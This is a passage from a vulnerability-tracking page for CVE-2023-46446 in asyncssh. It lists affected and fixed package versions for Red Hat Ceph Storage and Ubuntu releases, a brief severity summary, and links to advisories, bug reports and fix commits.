before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-cephfsRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-cephfs-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-radosRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-rados-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-rbdRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-rbd-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-rgwRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python3-rgw-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
rbd-fuse-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
rbd-mirror-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
rbd-nbdRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
rbd-nbd-debuginfoRed Hat:ceph_storage:7.1::el9 From an advisory covering 9 CVEs |
before 2:18.2.1-329.el9cp | 2:18.2.1-329.el9cp |
python-asyncsshUbuntu:16.04:LTS |
All versions, plus listed versions 1.2.0-11.2.1-11.3.0-1 |
None known |
python-asyncsshUbuntu:Pro:18.04:LTS |
before 1.11.1-1ubuntu0.1~esm2, plus listed versions 1.8.1-21.11.0-21.11.1-11.11.1-1ubuntu0.1~esm1 |
1.11.1-1ubuntu0.1~esm2 |
python-asyncsshUbuntu:20.04:LTS |
before 1.12.2-1ubuntu0.2, plus listed versions 1.12.2-11.12.2-1ubuntu0.1 |
1.12.2-1ubuntu0.2 |
python-asyncsshUbuntu:22.04:LTS |
before 2.5.0-1ubuntu0.1, plus listed versions 2.5.0-1 |
2.5.0-1ubuntu0.1 |
python-asyncsshUbuntu:Pro:24.04:LTS |
before 2.10.1-2ubuntu0.1+esm1, plus listed versions 2.10.1-22.10.1-2ubuntu0.1 |
2.10.1-2ubuntu0.1+esm1 |
python-asyncsshUbuntu:20.04:LTS From an advisory covering 2 CVEs |
before 1.12.2-1ubuntu0.2, plus listed versions 1.12.2-11.12.2-1ubuntu0.1 |
1.12.2-1ubuntu0.2 |
python-asyncsshUbuntu:22.04:LTS From an advisory covering 2 CVEs |
before 2.5.0-1ubuntu0.1, plus listed versions 2.5.0-1 |
2.5.0-1ubuntu0.1 |
python-asyncsshUbuntu:Pro:24.04:LTS From an advisory covering 2 CVEs |
before 2.10.1-2ubuntu0.1+esm1, plus listed versions 2.10.1-22.10.1-2ubuntu0.1 |
2.10.1-2ubuntu0.1+esm1 |
python-asyncsshUbuntu:Pro:18.04:LTS From an advisory covering 2 CVEs |
before 1.11.1-1ubuntu0.1~esm2, plus listed versions 1.8.1-21.11.0-21.11.1-11.11.1-1ubuntu0.1~esm1 |
1.11.1-1ubuntu0.1~esm2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-46446 is a medium vulnerability (CVSS 6.8) in Asyncssh Project Asyncssh, published November 9, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.87%, the 58th percentile. Fixed in asyncssh 2.14.1.
References
github.com/ronf/asyncssh/security/advisories/GHSA-c35q-ffpf-5qpm
lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE
terrapin-attack.com
github.com/ronf/asyncssh/blob/develop/docs/changes.rst
github.com/advisories/GHSA-c35q-ffpf-5qpm
packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html
Show 89 moreShow less
security.netapp.com/advisory/ntap-20231222-0001
lists.debian.org/debian-lts-announce/2024/09/msg00042.html
github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e
nvd.nist.gov/vuln/detail/CVE-2023-46446
github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-239.yaml
github.com/CVEProject/cvelistV5/tree/main/cves/2023/46xxx/CVE-2023-46446.json
security-tracker.debian.org/tracker/CVE-2023-46446
github.com/ronf/asyncssh
access.redhat.com/errata/RHSA-2025:4664
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=2252788
bugzilla.redhat.com/show_bug.cgi?id=2270948
bugzilla.redhat.com/show_bug.cgi?id=2284356
bugzilla.redhat.com/show_bug.cgi?id=2312113
bugzilla.redhat.com/show_bug.cgi?id=2314387
bugzilla.redhat.com/show_bug.cgi?id=2315596
bugzilla.redhat.com/show_bug.cgi?id=2315885
bugzilla.redhat.com/show_bug.cgi?id=2321291
bugzilla.redhat.com/show_bug.cgi?id=2348763
bugzilla.redhat.com/show_bug.cgi?id=2348935
bugzilla.redhat.com/show_bug.cgi?id=2348945
bugzilla.redhat.com/show_bug.cgi?id=2348968
bugzilla.redhat.com/show_bug.cgi?id=2348970
bugzilla.redhat.com/show_bug.cgi?id=2349078
bugzilla.redhat.com/show_bug.cgi?id=2349723
bugzilla.redhat.com/show_bug.cgi?id=2351271
bugzilla.redhat.com/show_bug.cgi?id=2351465
bugzilla.redhat.com/show_bug.cgi?id=2352965
bugzilla.redhat.com/show_bug.cgi?id=2356050
bugzilla.redhat.com/show_bug.cgi?id=2356542
bugzilla.redhat.com/show_bug.cgi?id=2357889
bugzilla.redhat.com/show_bug.cgi?id=2358123
bugzilla.redhat.com/show_bug.cgi?id=2358562
bugzilla.redhat.com/show_bug.cgi?id=2360911
bugzilla.redhat.com/show_bug.cgi?id=2362258
security.access.redhat.com/data/csaf/v2/advisories/2025/rhsa-2025_4664.json
access.redhat.com/security/cve/CVE-2023-23934
bugzilla.redhat.com/show_bug.cgi?id=2170243
cve.org/CVERecord?id=CVE-2023-23934
nvd.nist.gov/vuln/detail/CVE-2023-23934
github.com/pallets/werkzeug/commit/cf275f42acad1b5950c50ffe8ef58fe62cdce028
github.com/pallets/werkzeug/releases/tag/2.2.3
github.com/pallets/werkzeug/security/advisories/GHSA-px8h-6qxv-m22q
access.redhat.com/security/cve/CVE-2023-25577
bugzilla.redhat.com/show_bug.cgi?id=2170242
cve.org/CVERecord?id=CVE-2023-25577
nvd.nist.gov/vuln/detail/CVE-2023-25577
github.com/pallets/werkzeug/commit/517cac5a804e8c4dc4ed038bb20dacd038e7a9f1
github.com/pallets/werkzeug/security/advisories/GHSA-xg9f-g7g7-2323
access.redhat.com/security/cve/CVE-2023-46446
bugzilla.redhat.com/show_bug.cgi?id=2250329
cve.org/CVERecord?id=CVE-2023-46446
access.redhat.com/security/cve/CVE-2023-48795
bugzilla.redhat.com/show_bug.cgi?id=2254210
cve.org/CVERecord?id=CVE-2023-48795
nvd.nist.gov/vuln/detail/CVE-2023-48795
access.redhat.com/solutions/7071748
access.redhat.com/security/cve/CVE-2024-24790
bugzilla.redhat.com/show_bug.cgi?id=2292787
cve.org/CVERecord?id=CVE-2024-24790
nvd.nist.gov/vuln/detail/CVE-2024-24790
access.redhat.com/security/cve/CVE-2024-34069
bugzilla.redhat.com/show_bug.cgi?id=2279451
cve.org/CVERecord?id=CVE-2024-34069
nvd.nist.gov/vuln/detail/CVE-2024-34069
github.com/pallets/werkzeug/commit/3386395b24c7371db11a5b8eaac0c91da5362692
github.com/pallets/werkzeug/security/advisories/GHSA-2g68-c3qc-8985
access.redhat.com/security/cve/CVE-2024-42353
bugzilla.redhat.com/show_bug.cgi?id=2305004
cve.org/CVERecord?id=CVE-2024-42353
nvd.nist.gov/vuln/detail/CVE-2024-42353
github.com/Pylons/webob
github.com/Pylons/webob/commit/f689bcf4f0a1f64f1735b1d5069aef5be6974b5b
github.com/Pylons/webob/security/advisories/GHSA-mg3v-6m49-jhp3
access.redhat.com/security/cve/CVE-2024-47191
bugzilla.redhat.com/show_bug.cgi?id=2316488
cve.org/CVERecord?id=CVE-2024-47191
nvd.nist.gov/vuln/detail/CVE-2024-47191
access.redhat.com/security/cve/CVE-2024-48916
bugzilla.redhat.com/show_bug.cgi?id=2329846
cve.org/CVERecord?id=CVE-2024-48916
nvd.nist.gov/vuln/detail/CVE-2024-48916
github.com/ceph/ceph/pull/60624/commits/919da3696668a07c6810dfa39301950c81c2eba4
github.com/ceph/ceph/security/advisories/GHSA-5g9m-mmp6-93mq
tracker.ceph.com/issues/68836
ubuntu.com/security/CVE-2023-46446
ubuntu.com/security/notices/USN-7108-1
ubuntu.com/security/notices/USN-7108-2
ubuntu.com/security/CVE-2023-46445
Left out here: 28 versions and the rest of 2 source descriptions. The JSON record has them.